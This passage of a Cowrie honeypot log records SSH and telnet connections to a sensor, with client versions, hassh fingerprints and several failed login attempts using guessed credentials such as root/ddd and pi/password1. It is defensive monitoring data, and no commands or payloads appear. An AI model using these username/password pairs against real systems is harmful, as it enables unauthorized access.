a2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:33.565994Z","src_ip":"91.92.40.36","session":"7a27a5774d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ddd","message":"login attempt [root/ddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:36.197033Z","src_ip":"91.92.40.36","session":"7a27a5774d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:37.987258Z","src_ip":"91.92.40.36","session":"7a27a5774d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":42024,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8ded3a31ed0","protocol":"ssh","message":"New connection: 103.84.236.242:42024 (159.203.135.109:22) [session: e8ded3a31ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:38.207482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:38.212335Z","src_ip":"103.84.236.242","session":"e8ded3a31ed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:38.452876Z","src_ip":"103.84.236.242","session":"e8ded3a31ed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"12345678","message":"login attempt [es/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:40.068728Z","src_ip":"103.84.236.242","session":"e8ded3a31ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21222,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fc2e5e7f4a2","protocol":"ssh","message":"New connection: 91.92.40.36:21222 (10.17.0.5:22) [session: 1fc2e5e7f4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:40.706341Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:41.302963Z","src_ip":"103.84.236.242","session":"e8ded3a31ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":37728,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc4b3957baa","protocol":"ssh","message":"New connection: 102.213.34.99:37728 (159.203.135.109:22) [session: 4cc4b3957baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:41.454584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:41.458970Z","src_ip":"102.213.34.99","session":"4cc4b3957baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:41.629550Z","src_ip":"102.213.34.99","session":"4cc4b3957baa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:41.638632Z","src_ip":"91.92.40.36","session":"1fc2e5e7f4a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas123","message":"login attempt [pruebas/pruebas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:42.346382Z","src_ip":"102.213.34.99","session":"4cc4b3957baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":60690,"dst_ip":"10.17.0.5","dst_port":22,"session":"557f80d62ff3","protocol":"ssh","message":"New connection: 163.7.9.84:60690 (10.17.0.5:22) [session: 557f80d62ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:42.785577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:42.792637Z","src_ip":"163.7.9.84","session":"557f80d62ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:43.045374Z","src_ip":"163.7.9.84","session":"557f80d62ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:43.085842Z","src_ip":"91.92.40.36","session":"1fc2e5e7f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:43.519629Z","src_ip":"102.213.34.99","session":"4cc4b3957baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21240,"dst_ip":"10.17.0.5","dst_port":22,"session":"0390fca749a5","protocol":"ssh","message":"New connection: 91.92.40.36:21240 (10.17.0.5:22) [session: 0390fca749a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:43.997911Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev2026","message":"login attempt [dev/dev2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:44.087958Z","src_ip":"163.7.9.84","session":"557f80d62ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.342083Z","src_ip":"163.7.9.84","session":"557f80d62ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5866,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f9f7ac7225","protocol":"ssh","message":"New connection: 196.188.93.169:5866 (10.17.0.5:22) [session: f4f9f7ac7225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.448803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.453778Z","src_ip":"196.188.93.169","session":"f4f9f7ac7225","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.582062Z","src_ip":"91.92.40.36","session":"0390fca749a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.586416Z","src_ip":"91.92.40.36","session":"0390fca749a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.628615Z","src_ip":"196.188.93.169","session":"f4f9f7ac7225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":58036,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e918280f14a","protocol":"ssh","message":"New connection: 102.210.148.92:58036 (159.203.135.109:22) [session: 0e918280f14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.811019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:45.817294Z","src_ip":"102.210.148.92","session":"0e918280f14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:46.062367Z","src_ip":"102.210.148.92","session":"0e918280f14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"123","message":"login attempt [fox/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:46.341966Z","src_ip":"196.188.93.169","session":"f4f9f7ac7225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mima@2024","message":"login attempt [root/Mima@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:47.214317Z","src_ip":"102.210.148.92","session":"0e918280f14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47638,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0e4765dfa6","protocol":"telnet","message":"New connection: 128.199.8.54:47638 (159.203.135.109:23) [session: ea0e4765dfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:47.256411Z"}
{"eventid":"cowrie.session.closed","duration":0.004504203796386719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:47.260743Z","src_ip":"128.199.8.54","session":"ea0e4765dfa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:47.617820Z","src_ip":"196.188.93.169","session":"f4f9f7ac7225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:48.461767Z","src_ip":"102.210.148.92","session":"0e918280f14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"password1","message":"login attempt [pi/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:49.827768Z","src_ip":"91.92.40.36","session":"1fc2e5e7f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32636,"dst_ip":"10.17.0.5","dst_port":22,"session":"c30b65d3cfab","protocol":"ssh","message":"New connection: 91.92.40.36:32636 (10.17.0.5:22) [session: c30b65d3cfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:50.741371Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":44480,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f22bcd2d4f","protocol":"ssh","message":"New connection: 45.123.217.22:44480 (10.17.0.5:22) [session: 04f22bcd2d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:51.302155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:51.306976Z","src_ip":"45.123.217.22","session":"04f22bcd2d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre123","message":"login attempt [andre/andre123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:51.388728Z","src_ip":"91.92.40.36","session":"0390fca749a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:51.532114Z","src_ip":"45.123.217.22","session":"04f22bcd2d4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:51.971853Z","src_ip":"91.92.40.36","session":"c30b65d3cfab","protocol":"ssh"}
